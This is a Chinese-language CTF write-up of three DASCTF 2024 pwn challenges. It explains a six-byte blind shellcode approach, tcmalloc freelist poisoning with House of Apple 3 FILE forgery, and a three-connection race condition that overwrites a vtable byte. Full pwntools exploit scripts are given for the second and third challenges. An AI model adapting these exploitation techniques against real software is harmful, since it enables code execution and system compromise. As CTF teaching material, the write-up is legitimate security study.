点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

DASCTF 2024-Pub 个人部分题解

目录跳转:
PWN题目: sixbytes - 暂不附Exp
PWN题目: ChromeLogger - 附Exp
PWN题目: usersys - 附Exp

pwn题目 sixbytes

进入 main 函数,调用函数读取 flag 而后赋值给 v4,v4 即为 flag 的字符串首地址,函数笔者不再赘述. 接下来进入 sub_5555555553B8 看 v3 的生成方式

dasctf

sub_5555555553B8:
可以观察到,该函数使用 mmap 在 0x20240000 申请了权限为 0x7 (可读可写可执行) 的较长空间后,再读取了 6 个字节的用户输入数据到该空间内. 这里限制了用户只能输入六个字节的数据

dasctf

最后在主函数以 v4 为参数调用该空间. 即将 PC 更改到用户输入数据的头部

dasctf

一开始我的思路是 _perror 直接输出 flag,看了一下后发现开启了 seccomp 禁止了 syscall

dasctf

由于没任何输入输出,只能靠盲注:

如下所示,当 [rdi + i] 的值大于 X 时则跳转,进入到死循环,否则 Segment Error. 这样就可以写个二分盲注,盲注出结果

payload

loop:
cmp byte ptr[rdi + i], X
jg loop

而正巧的是,该 payload 占长度为 5 字节,不超过 6 字节. 因此是可行的

exp 后面再放

pwn题目 chromelogger

tcmalloc是由谷歌研发的堆管理库,使用FreeList来加速堆块分配

任意地址写入漏洞

首先笔者 Newlog 开了 48 个字节的空间,并写入 48 - 11 个 ‘a’ (由于这里存在一个长度为 11 的时间字符串,因此每次最多可写入的字节数是 n - 11 个) 观察内存情况,发现堆空间附近正如 tcmalloc 中的链式结构

  1. 写入的字符串起始位置于 0x555555d76000,可以观察到随后的 0x30 个字节都被写入了数据
  2. 而后下一个 48 大小的堆空间将会开在 0x555555d76030,并取当前地址位置的地址 0x555555d76060 作为下一个堆的地址
  3. 下下个 48 大小的堆空间开在 0x555555d76060,并取 0x555555d76090 作为下下个堆的地址

如此按链式分配堆空间,即是 tcmalloc 中 FreeList 运作原理

dasctf

dasctf

tele所呈现的链式结构如上所示

因此,只要修改下一个堆块的地址 至攻击者想要修改的地址,也就是使得该 FreeList 下一项为攻击者想要修改的地址,即可造成内存中任意地址写入漏洞
在普通情况下可以通过堆溢出方式修改下一个堆块的地址,但是在此处做了严格的限制,不好利用. 可以用缓冲区越界写入来利用

注意到在 Newlog 中,可以指定当前开的空间作为输出缓冲区,并且该缓冲区长度为 256,如下所示

dasctf

举个例子:当我开辟了 48 字节的堆空间后,下一个堆块的地址正巧位于 该空间地址 + 0x30
我可以将该空间指定为输出的大小为 256 的缓冲区,每当我执行 Displaylog 后,都会将数据输出到 该缓冲区上从而覆盖到 该空间地址 + 0x30
当覆盖到我指定的地址时,再 alloc 两个 48 字节的空间,第二个 alloc 的空间就会被开到我指定的地址

整个流程及后续听起来利用有点难,不过还是有办法可以利用.

  1. 首先可以通过向 48 字节堆中填满 ‘a’ 并不包含 ‘\n’,然后 display_log 打印该堆,可以泄露下下一个堆地址
  2. 泄露地址后,可以输入 5 调用 submit_task 函数提交堆地址,泄露堆基址
  3. 泄露堆基址后,可以通过 任意地址写入漏洞 在 基址 + 0x50 alloc 一个堆,并将该堆打印,泄露 tcmalloc 基址
  4. 泄露 tcmalloc 基址 后,可以通过其 got 表调用的 pthread_key_create 函数,泄露 libc 基址
  5. 泄露 libc 基址后,现在满足三条件: 任意地址写入,libc泄露,有IO 直接打 House of Apple 3
  6. 伪造一个 File 结构,并将其通过 任意地址写入漏洞 写入到 _IO_list_all
  7. IO_File 劫持,getshell

详细代码及解释如 EXP 中所示

EXP

#by leeya_bug

from pwn import *
import time

SLEEP_TIME = 0.2

p = process('./debug/ChromeLogger')
lib_tcmalloc = ELF('./debug/chromelogger_lib/libtcmalloc.so.4')
lib_c = ELF('./debug/chromelogger_lib/libc.so.6')

#------------- 基本函数 -------------

def new_log(length: int, data: bytes) -> None:
	p.sendline(b'1')
	p.sendlineafter(b'SIZE', 	str(length).encode())
	p.sendlineafter(b'FILE buffer',	b'n')
	p.sendafter(b'LOG', 	data) 	
	p.recvuntil(b'Operation?')
	
def new_log2(length: int, data: bytes) -> None:
	time.sleep(SLEEP_TIME)
	p.sendline(b'1')
	time.sleep(SLEEP_TIME)
	p.sendline(str(length).encode())
	time.sleep(SLEEP_TIME)
	p.sendline(b'n')
	time.sleep(SLEEP_TIME)
	p.send(data) 
	
def new_log_stdout(length: int) -> None:
	p.sendline(b'1')
	p.sendlineafter(b'SIZE', 	str(length).encode())
	p.sendlineafter(b'FILE buffer',	'y')

def new_log_stdout2(length: int) -> None:
	time.sleep(SLEEP_TIME)
	p.sendline(b'1')
	time.sleep(SLEEP_TIME)
	p.sendline(str(length).encode())
	time.sleep(SLEEP_TIME)
	p.sendline(b'y')
	
def display_log() -> bytes:
	p.sendline(b'2')
	p.recvuntil(b'[')
	return p.recvuntil(b'Operation?').rstrip(b'\nOperation?')
	
def display_log2() -> bytes:
	time.sleep(SLEEP_TIME)
	p.sendline(b'2')

def submit_task(addr: int) -> None:
	p.sendline(b'5')
	p.sendlineafter(b'HEAP', hex(addr).encode())
	p.recvuntil(b'Correct! Here you are:')
	return p.recvuntil(b'Operation?').rstrip(b'\nOperation?')
	
def logout2() -> None:
	time.sleep(SLEEP_TIME)
	p.sendline(b'3')
	
def backdoor2() -> None:
	time.sleep(SLEEP_TIME)
	p.sendline(b'4')
	
def backdoor_send_data2(data: bytes) -> None:
	time.sleep(SLEEP_TIME)
	p.sendline(data)
	
#------------- 基本函数 -------------

if True:

	'''
	通过堆漏洞获取堆地址
	'''
	p.recvuntil(b'Operation?')

	new_log(48, b'a' * (48 - 11) )
	heap_addr: int = u64(display_log()[-8:])
	heap_base_addr: int = int(submit_task(heap_addr), 16)

	print(f'堆地址: { hex(heap_addr) }')
	print(f'堆基地址: { hex(heap_base_addr) }')

	'''
	通过堆漏洞获取 tcmalloc 地址
	'''
	new_log2(208, b'a' * (208 - 11))
	new_log2(48, b'-' * 3 +  p64(heap_base_addr + 0x50))
	new_log_stdout2(48)
	display_log2()

	new_log2(48, b'useless chunk')
	new_log2(48, b"a" * (8 + 5) + b"adrlibc:")
	
	display_log2()
	display_log2()
	p.recvuntil(b'adrlibc:')
	
	tcmalloc_addr = u64(p.recv(8))
	tcmalloc_base_addr = tcmalloc_addr - 0x1c9090 - 0x11ea0
	lib_tcmalloc.address = tcmalloc_base_addr
	print(f'tcmalloc地址: { hex(tcmalloc_addr) }')
	print(f'tcmalloc基地址: { hex(tcmalloc_base_addr) }')
	
	'''
	通过 tcmalloc got 中的 pthread_key_create 函数获取 libc 基址
	'''
	new_log2(251, b'a' * (251 - 12) + b'\n')
	new_log2(64, b'-' * 5 + p64(lib_tcmalloc.got['pthread_key_create'] - 0x10))
	new_log_stdout2(64)
	display_log2()
	
	new_log2(64, b'useless chunk')
	new_log2(64, b'adfc:')
	
	display_log2()
	display_log2()
	display_log2()
	p.recvuntil(b'adfc:')
	
	pkc_addr = u64(p.recv(8))
	libc_base_addr = pkc_addr - lib_c.symbols['pthread_key_create'] 
	lib_c.address = libc_base_addr
	print(f'pthread_key_create函数地址: { hex(pkc_addr) }')
	print(f'libc地址: { hex(libc_base_addr) }')
	
	'''
	House of Apple 3
	预留一个伪造的 File 结构空间
	向该空间中写入 File 结构
	'''
	new_log2(0x160, b'FileAddr:'.rjust((0x160 - 11),b'd'))
	display_log2()
	display_log2()
	display_log2()
	
	p.recvuntil(b'FileAddr:')
	file_addr = u64(p.recv(8)) - 0x160 + 0x10
	print(f'伪造的File结构地址: { hex(file_addr) }')
	
	fileData = flat({
		0:      0,  						# file._flag
		0x10:   1,  						# file._IO_read_end
		0x28:   1,  						# file._IO_write_ptr
		0x30:   p64(file_addr + 0x48),                  	# _codecvt->__cd_in.step
		0x48:   b'bash',                                	# step.__shlib_handle
		0x70:   p64(lib_c.symbols['execvp']),           	# step.__fct
		0x88:   p64(file_addr + 0x150),                 	# file._lock
		0x98:   p64(file_addr + 0x30),                  	# file._codecvt
		0xa0:   p64(file_addr + 0xe0),                  	# file._wide_data 
		0xd8:   p64(lib_c.symbols['_IO_wfile_jumps'] + 8),	# file._vtable
		0xe0:   p64(file_addr + 0x48),                  	# _wide_data._IO_read_ptr
		0xe8:   p64(file_addr + 0x48),                  	# _wide_data._IO_read_end
		0x110:  p64(file_addr + 0x48),                  	# _wide_data._IO_buf_base
        }, filler=b'\0')
	
	new_log2(0x160, b'_' * 5 + fileData)
	
	'''
	向 _IO_list_all 写入伪造的 File 地址
	'''
	new_log2(80, b'debug_addr:'.rjust((80 - 11),b'a'))
	display_log2()
	display_log2()
	p.recvuntil(b'debug_addr:')
	print(f'debug地址: { hex(u64(p.recv(8))) }')
	
	print(f'libc _IO_list_all地址: { hex(lib_c.symbols['_IO_list_all']) }')
	# FreeList 后期在初始化时,其链表前几个节点可能并非顺序排列,为了方便使用 padding
	for i in range(0, 6):
		new_log2(80, b'a' * (80 - 15) + b'\n' )
	new_log2(80, b'a' * (80 - 56 + 4) + b'\n' )
	
	new_log2(80, b'_' * 5 + p64(lib_c.symbols['_IO_list_all'] - 0x10) )
	new_log_stdout2(80)
	display_log2()
	
	new_log2(80, b'useless chunk')
	new_log2(80, b'_' * 5 + p64(file_addr))
	
	'''
	PRE_MANGGLE
	输入的值为 10
	'''
	backdoor2()
	logout2()
	backdoor_send_data2(b'10')
	
	p.clean()
	p.interactive()
	
print('------------ debug ------------')

def debug():
	gdb.attach(p)
	p.interactive()

pwn题目 usersys

首先经过探查发现,这个题只有 guest 输入用户名称的地方能够输入任意字节的用户名称,并且添加.
因此大概率确定是由此导致的内存覆写然后造成的危害

首先查看 guest 处理函数 FUNC_GUEST(如下图所示,该函数实际上记录在虚表中),笔者先解释一下几个关键函数及参数的用途:

  1. 参数 a1 代表当前所有登记了的 guest 统计结构体,该结构体包括当前各个 guest 名称,总的 guest 数量(下文中笔者把 a1 中的总 guest 数量简称为 guest_count ),该结构体可以大致理解为如下数据结构
     struct type_a1{
         char guest_name[5][8];      // a1 + 0x18, guest 字符串数组,最大只能写 5 个,每个 guest 名称长度最大 8
         long guest_count;           // a1 + 0x40, guest 长度
     };
    
  2. 红圈中的 UPDATE_FILE 函数从保存的 GUEST_DATA 中读取登记了的 guest 名称数据并更新 a1,可以简单理解为 UPDATE_FILE 更新了 a1

dasctf

ADMIN 表和 GUEST 表都是写在结构体上的虚表,是看情况调用的. 此处距离 a1 不远,推测该题应该是写入虚表 getshell. 简单内存图请看如下所示,详细内存分布情况请查看更下面的 a1 部分内存分布情况

dasctf

观察虚表发现 Root 用户函数地址,这是一个后门函数,如果能够覆盖 Admin 的虚表为 Root 的虚表,就可以进入到该后门

dasctf

红色横线中 *(__int16 *)(a1 + 64) > 4 取出 a1 中 guest_count 并判断当前 guest_count 是否大于 4,如果大于 4,也就是当前记录的 guest 总数大于等于 5 时则不做记录(在此的寄存器取址 细节逻辑请查看 汇编代码,笔者不再赘述)

dasctf

但是可以发现,这里在经过 *(__int16 *)(a1 + 64) > 4 的逻辑判断后又 UPDATE_FILE 更新了 a1 一次. 可以确定在此肯定有条件竞争导致的漏洞,当多个线程同时访问该文件并进入了 else 语句 (wanna leave your name?[y/n])但还未 UPDATE_FILE 时,由于多个线程条件竞争漏洞 在合适的条件下 guest_count 肯定是能够大于等于 5 的

在第二次 UPDATE_FILE 结束后,发现 read 函数读取用户输入

read(0, (void *)(8 * (*(__int16 *)(a1 + 64) + 2LL) + a1 + 8), 8uLL);

其作用是将用户输入数据读入到 (void *)(8 * (*(__int16 *)(a1 + 64) + 2LL) + a1 + 8),那么怎么理解该读入地址呢?根据上文分析可以知道 *(__int16 *)(a1 + 64) 代表 guest_count,那么这串代码简述过来就是 8 * (guest_count + 2LL) + a1 + 8,化简后就是 a1 + 0x18 + guest_count * 8,由于 guest_name 中一个字符串 8 字节,整个读入地址 可以简单理解为如下形式
guest_name[guest_count]
那么 read 就可以理解为

read(0, guest_name[guest_count], 8uLL);

在此我先将 a1 及其前后的部分内存分布情况简单列出:

dasctf

可以发现,Admin 函数虚表地址 隔 guest_name[0] 的距离恰巧为 0x58 个字节也就是 11 个 8 字节,guest_name[11] 访问到的即是 Admin 的虚表地址,那么 guest_name[6] 访问到的即是 guest_count

此时,可以利用条件竞争漏洞,连接两个线程至 wanna leave your name?[y/n] 处,当 第一个线程 写到第五个 时,第二个线程由于已经到 wanna leave your name?[y/n] 处,还可以继续写第六个也就是 guest_name[6],那么第二个线程就可以随意更改 guest_count 的值.

而笔者需要修改 Admin 函数的虚表地址为 Root 的虚表地址,因此需要第三个线程的介入.

解题流程:

在前面已经知道 第二个线程是用来修改 guest_count 的值,那么可以将 guest_count 拓展到笔者想要修改的地址(在此为 Admin 函数虚表位置). 然后拓展第三个线程修改该位置的值(在此将 原虚表的值,修改为 Root 虚表的值)

首先连接第一个线程,当第一个线程 写到第四个 guest 时并已经进入 wanna leave your name?[y/n] 但未输入 y 时,旋即连接第二 第三个线程并都进入到 wanna leave your name?[y/n] 等待. 然后第一个线程再写入一个 guest 达到写满

第二个线程由于已经到 wanna leave your name?[y/n] 处,还可以继续写第六个,而第六个 8 字节地址正巧就是 guest_count 的值,那么第二个线程就可以写入 0xa,当该进程写入结束后 guest_count 就会变成 0xb.

然后第三个线程此时写入的就是 guest_name[11],即 Admin 虚表地址了. 只要此时写入 Root 地址的固定的最低一个字节 0x50 即可(其高地址将会 RELRO,因此只写入最后一个字节)

EXP

# by leeya_bug
IP      = {你的 IP}
PORT    = {你的端口}

from pwn import * 
import time

c1 = remote(IP, PORT)

# 清空原有数据
time.sleep(0.3)
c1.sendline(b'admin')
c1.sendline(b'clear')
c1.sendline(b'logout')

# 填充四个 guest
for i in range(1, 5):
    time.sleep(0.3)
    c1.sendline(b'guest')
    c1.sendline(b'y')
    c1.sendline(b'name' + str(i).encode())

# 启动另外两个 Connection,并让三个 Connection 进入 wanna leave your name?[y/n] 等待区
if True:
    time.sleep(0.3)
    c1.sendline(b'guest')

    c2 = remote(IP, PORT)
    time.sleep(0.3)
    c2.sendline(b'guest')
    
    c3 = remote(IP, PORT)
    time.sleep(0.3)
    c3.sendline(b'guest')

# 第一个 Connection 填充第五个 guest
time.sleep(0.3)    
c1.sendline(b'y')
c1.sendline(b'name5')

# 第二个 Connection 修改 guest_count 为 0xa,后面变成 0xb
time.sleep(0.3)
c2.sendline(b'y')
c2.sendline(p64(0xa))

# 第三个 Connection 修改 Admin 虚表的最后一个字节为 50,即 Root 虚表的地址
time.sleep(0.3)
c3.sendline(b'y')
c3.send('\x50')

# 触发 admin,反弹 shell
time.sleep(0.3)
c3.sendline(b'admin')
c3.interactive()

运行以上 exp,连接 Shell 后,输入 cat /flag 命令即可获取 flag

dasctf